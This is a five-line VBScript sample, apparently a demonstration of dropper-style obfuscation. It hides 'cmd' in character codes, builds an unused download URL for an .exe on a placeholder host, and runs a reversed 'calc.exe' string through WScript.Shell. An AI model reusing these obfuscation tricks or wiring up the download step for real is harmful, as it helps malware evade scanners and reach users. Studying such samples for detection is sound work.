Dim c, u, r
c = Chr(99) & Chr(109) & Chr(100)
u = Replace("hXXtXXtXXp://update-cdn.example.test/p.exe","XX","")
r = StrReverse("exe.clac")
CreateObject("WScript.Shell").Run c & " /c " & r